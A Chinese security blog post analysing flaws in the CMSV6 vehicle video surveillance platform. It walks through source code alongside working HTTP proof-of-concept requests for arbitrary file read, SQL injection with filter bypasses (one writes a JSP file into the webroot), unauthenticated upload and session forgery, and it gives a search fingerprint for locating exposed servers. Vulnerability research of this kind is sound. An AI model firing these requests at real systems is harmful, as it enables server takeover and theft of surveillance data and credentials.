记一次对通天星CMSV6车载视频监控平台的漏洞分析

通天星CMSV6(官网地址:http://www.g-sky.cn/)拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队,专注于为定位、无线视频终端产品提供平台服务,通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。根据微步在线研究响应中心捕捉到漏洞情报,来对通天星CMSV6车载视频监控平台的漏洞进行分析审计

0x01 前言

官方2024漏洞修复说明:http://faq.cmsv8.com/help.html?page_id=1249

Fofa指纹特征:body="./open/webApi.html"||body="/808gps/"

0x02 通天星CMSV6 getImage接口存在任意文件读取漏洞

通天星CMSV6车载视频监控平台StandardReportMediaAction_getImage.action接口存在任意文件读取漏洞,攻击者可以利用漏洞读取服务器上的任意文件,包括敏感系统文件和应用程序配置文件等。
poc:

GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

先来看下struts.xml文件中对web和API请求通用配置

<!-- =========web请求通用配置\========== -->  
<action name\="\*\*/\*\_\*.action" class\="{2}" method\="{3}"\>
<!-- =========API请求通用配置\========== -->  
<action name\="\*\_\*.action" class\="{1}" method\="{2}"\>

定义了classmothod的访问方式,例如请求的url为/808gps/StandardReportMediaAction_getImage.action,实际对应的是StandardReportMediaAction类的getImage方法,定位到代码

Snipaste_2024-07-15_16-19-23.jpg

首先获取三个参数filePathfileOffsetfileSize,调用RandomAccessFile类将指针移到fileOffset读取文件的位置,然后把文件中的内容都读取到字节数组中,最后将指定的字节写入此字节数组输出流中。这里可以构造直接读取log_info.log获取用户的session伪造登录,效果如下

image.png

0x03 通天星CMSV6 /run_stop/delete.do接口存在SQL注入漏洞

通天星CMSV6车载定位监控平台/run_stop/delete.do接口存在SQL注入漏洞,攻击者可以通过此漏洞写入木马病毒获取服务器权限。
poc:

GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

跟进到StandardDemoRunStopController类定位到/delete路由

image.png

跟进ValidateUtils.checkParameter方法发现只是判断了参数ids是否为null

image.png

跟进demoRunStopService.deleteRunStopBatch方法

image.png

继续套娃

image.png

直接拼接导致的SQL注入

这样就结束了吗?那;downloadLogger.action的意义是什么呢?

跟进web.xml

image.png

发现存在针对所有请求的SQL注入的Filter过滤器,跟进对应的类

image.png

通过getParameterValues获取参数的value值,通过遍历拼接组合成字符串

继续跟进sqlValidate方法

image.png

将组合成的字符串先变成小写,然后判断是否包含sql注入黑名单方法,包含就GG

但是熟悉的getRequestURI方法映入眼帘,如果请求的url包含downloadLogger.actionStandardApiAction_vehicleTTS.action...,就可以bypass这个sql注入的过滤器,直接通过chain.doFilter将请求转发给下一个过滤器。

SQL注入效果如下:

image.png

对比效果

30b9657403a7fc6704c28978d3ff92c.png
这个系统的直接获取参数拼接进sql语句的场景挺多,都可以通过加;downloadLogger.action的方式绕过

比如/edu_security_officer/disable接口也同样可以通过这种方式造成SQL注入

poc:

GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+(SELECT+2688+FROM+(SELECT(SLEEP(3)))a) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=9E4EED29182FF5BAFF9D86142A4BAC6D
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

跟进EduSecurityOfficerController#disable方法

image.png

image.png

image.png

直接拼接导致sql注入

image.png

而且还有AlarmAppealController#getAlarmAppealByGuid方法

image.png

接收传入的参数guid,跟进alarmAppealService.getAlarmAppealsByGuids方法

image.png

image.png

直接拼接导致的sql注入

0x04 通天星CMSV6 /point_manage/merge接口存在SQL注入导致RCE

通天星CMSV6车载定位监控平台/point_manage/merge接口存在SQL注入漏洞,攻击者可以通过此漏洞写入木马病毒获取服务器权限。
poc:

POST /point_manage/merge HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded

id=1&amp;name=1' UNION SELECT%0aNULL, 0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/allgods.jsp' FROM user_session a
WHERE '1'='1&type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8

跟踪到具体方法,先来看SQL注入:

dddd.jpg

可以看到将PointManageVo类作为参数,跟进pointManageService.merge方法

image.png

因为PointManageVo继承于PointManagePo(PointManageVo)param.getName()会直接调用PointManagePo.getName()方法获取到传入的参数name,将nameid参数传入nameExsit方法

image.png

跟进pointManageDao.getPointByName方法

image.png

可以看到直接将name拼接到sql语句中导致了SQL注入漏洞,目前的poc都是通过这个sql注入来写木马

image.png

image.png
为什么SqlFilter过滤器没有生效呢?

因为这里使用的是sql注入黑名单方法的形式来判断用户的输入,通过|来分割恶意字符,例如这里取出的字符为select空格,使用select%0a换行符就可以绕过校验

image.png

image.png

说完sql注入,再来看这个接口为什么不需要登录,或者说这个@NotLogin注解在哪里生效

image.png

来看struts.xml文件,定位Struts2的拦截器配置

image.png

直接跟进SessionIterceptor#intercept方法,来看关键的地方

image.png

通过invocation.getAction()方法获取当前请求准备执行的Action对象,通过invocation.getProxy().getMethod()获取用户请求的方法名

往下进入到关键的handleMethodNotLogin方法

image.png

将Action对象对应的类,与方法名传入

image.png

获取Action对应的类的名称,与方法名组成完整的路径,这里就是com.gps808.inspect.controller.PointManageController.merge,当同时满足NOT_LOGIN_CACHE数组包含完整的路径,且isEnableDebug属性为false的时候,会返回完整的路径,当然是不满足的。重点在下面,通过java反射获取com.gps808.inspect.controller.PointManageController类中merge方法,通过调用isAnnotationPresent判断类或者方法是否标注了指定注解,这里就是@NotLogin,如果标注了就返回true,接下来就调用invocation.invoke()执行下一个拦截器,所以标注了@NotLogin注解的类或者方法都不需要登录即可访问。

除了标注了@NotLogin注解的类或者方法不需要登录外,跟进isAllowContinue方法中

image.png

image.png

判断actionNamelstAction是否为null,不为null的话还要判断lstAction是否包含actionName,跟进来看看lstAction

image.png

可以看到是获取sessionFilter.xml文件中model标签的内容

image.png

至此只要actionNameStandardLoginActionStandardWechatAction...都可以直接通过权限拦截器

0x05 通天星CMSV6 /inspect_file/upload接口存在任意文件上传漏洞

通天星CMSV6 inspect_file/upload接口存在任意文件上传漏洞,跟进到InspectFileUploadController

image.png

image.png

这个类同样是@NotLogin注解,而且并没有对上传的文件的后缀进行限制,上传的路径为upload/+folderNamefolderName为用户可控参数,默认为software),上传的文件以当前系统时间的值_上传文件的名字命名,所以造成了未授权任意文件上传。
> 奇怪的是在文件上传成功之后,增加了对上传文件的后缀的白名单的判断,但是根据判断结果只是修改了FileType参数,并没有对文件上传的结果造成影响。

image.png

image.png

0x06 用户SESSION伪造漏洞

通天星CMSV6车载定位监控平台saveUserSession接口存在用户SESSION伪造漏洞,攻击者可以通过此漏洞伪造用户id对应的SESSION,在日志中可以看到,直接将SESSION插入到user_session表中。

(测试版本CMSV6 7.32.0.2)poc:

POST /808gps/LocationManagement/UserSessionAction_saveUserSession.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Te: trailers
Connection: close

userSession=42AA7A2BE767123A42E1530ACC920781&amp;id=4

定位到UserSessionAction#saveUserSession方法

image.png

获取参数iduserSession,如果不为null的话将传入userSession传入standardUserAccountService.getUserSession方法

image.png

继续跟进standardUserSessionDao.getUserSession方法

image.png

判断user_session表中是否满足Session=userSession这一条件的记录,如果存在就返回The Session already exists!,如果不存在就调用standardUserAccountService.saveThirdSession方法,将参数iduserSession传入

image.png

image.png

iduserSession插入到user_session表中,插入成功后

image.png

通过getUserSession方法获取userSession的内容,转换成StandardUserSessionEx类型,通过EntityApiSessionCacheTool.addApiUserSessionBySession方法更新缓存。

这个过程攻击者就可以通过用户的idSESSION进行伪造

image.png

通过任意文件读取漏洞读取日志,可以看到记录

image.png

所以一开始说的通过读取log_info.log获取用户的session伪造登录完全成立哈哈

而且通过UserSessionAction_findUserSession.action接口可以通过此session来查看对应的账户密码

image.png

因为这个password是从数据库里面读取,如果想解密的话需要调用AesUtil#aesDecryptDB+cmd5解密方法,这里解密之后直接登录即可

0x0x 其他

反序列化漏洞:

这里不再搬轮子,直接移步@Y4TACKER的《浅析通天星CMSV6车载定位监控平台远程代码执行漏洞》,完整的漏洞利用链:

com.framework.jasperReports.ReportCreater#_createReport
=> com.framework.jasperReports.ReportCreater#getJasperReport
=> com.framework.jasperReports.ReportCreater#getJasperReportFromFile
=> net.sf.jasperreports.engine.util.JRLoader#loadObject
=> net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject

信息泄露类:

  1. StandardLoginAction_getAllUser.action接口存在信息泄露
POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Content-Length: 9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate

json=null

image.png

  1. /xz_center/list接口存在信息泄露
POST /xz_center/list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

page=1

image.png
针对信息泄露类的漏洞:

  1. 黑盒挖掘思路可以利用burpsuite的HAE + BurpJSLinkFinder + Autorize插件(当然可能会有更好的),其中HAE插件通过自定义正则表达式匹配响应报文或请求报文来捕捉到类似的敏感信息泄露,BurpJSLinkFinder插件从js文件里面提取API接口,Autorize插件来判断哪些API接口可以未授权访问,组合即可获取未授权返回敏感信息的接口。
  2. 从白盒挖掘的思路关注于接口的返回是return "success"这类的状态值,还是return一个list或者map,对list或者map进行分析判断其中是否包含敏感信息。然后判断接口是否存在未授权访问,例如是否有对身份的校验,getRequestURI+Filter/Interceptor是否存在权限校验绕过的可能等等。

抱着学习的心态来分析通天星cmsv6的漏洞,请各位师傅多指导,如果文章中有错误请师傅私信我。

  • 发表于 2024-07-31 10:38:18
  • 阅读 ( 7668 )
  • 分类:Web应用

1 条评论

laotie233
牛逼 666
请先 登录 后评论
请先 登录 后评论
bmjoker
bmjoker

1 篇文章

站长统计